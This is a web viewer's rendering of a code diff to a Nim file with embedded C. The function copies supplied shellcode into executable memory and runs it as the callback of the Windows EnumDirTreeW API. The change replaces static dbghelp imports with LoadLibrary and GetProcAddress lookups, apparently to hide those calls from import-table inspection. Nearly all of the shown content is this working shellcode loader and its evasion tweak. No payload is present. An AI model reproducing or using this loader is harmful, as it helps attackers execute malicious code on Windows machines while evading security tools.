| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -4,16 +4,33 @@ import public | |||
| 4 | 4 | {.emit: """ | |
| 5 | 5 | #include <windows.h> | |
| 6 | 6 | #include <stdio.h> | |
| 7 | - #include <Dbghelp.h> | ||
| 8 | 7 | ||
| 8 | + typedef BOOL | ||
| 9 | + (CALLBACK* PENUMDIRTREE_CALLBACKW)( | ||
| 10 | + PCWSTR FilePath, | ||
| 11 | + PVOID CallerData); | ||
| 12 | + | ||
| 13 | + typedef BOOL (WINAPI* EnumDir)(HANDLE hProcess, | ||
| 14 | + PCWSTR RootPath, | ||
| 15 | + PCWSTR InputPathName, | ||
| 16 | + PWSTR OutputPathBuffer, | ||
| 17 | + PENUMDIRTREE_CALLBACKW cb, | ||
| 18 | + PVOID data); | ||
| 19 | + | ||
| 20 | + typedef BOOL(WINAPI* Sysinit)( | ||
| 21 | + HANDLE hProcess, | ||
| 22 | + PCSTR UserSearchPath, | ||
| 23 | + BOOL fInvadeProcess); | ||
| 24 | + | ||
| 9 | 25 | int EnumDirTreeWNim(char *shellcode,SIZE_T shellcodeSize) { | |
| 26 | + HMODULE dbgaddr = LoadLibrary("dbghelp.dll"); | ||
| 27 | + EnumDir enumdirfunc = (EnumDir)GetProcAddress(dbgaddr, "EnumDirTreeW"); | ||
| 28 | + Sysinit sysinitfunc = (Sysinit)GetProcAddress(dbgaddr, "SymInitialize"); | ||
| 10 | 29 | LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| 11 | 30 | ::RtlMoveMemory(addr, shellcode, shellcodeSize); | |
| 12 | - | ||
| 13 | - ::SymInitialize(::GetCurrentProcess(), NULL, TRUE); | ||
| 14 | - | ||
| 31 | + sysinitfunc(::GetCurrentProcess(), NULL, TRUE); | ||
| 15 | 32 | WCHAR dummy[522]; | |
| 16 | - ::EnumDirTreeW(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)addr, NULL); | ||
| 33 | + enumdirfunc(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)addr, NULL); | ||
| 17 | 34 | } | |
| 18 | 35 | """ | |
| 19 | 36 | .} | |
| Back | FazBrowse Home | New Git URL |
0 commit comments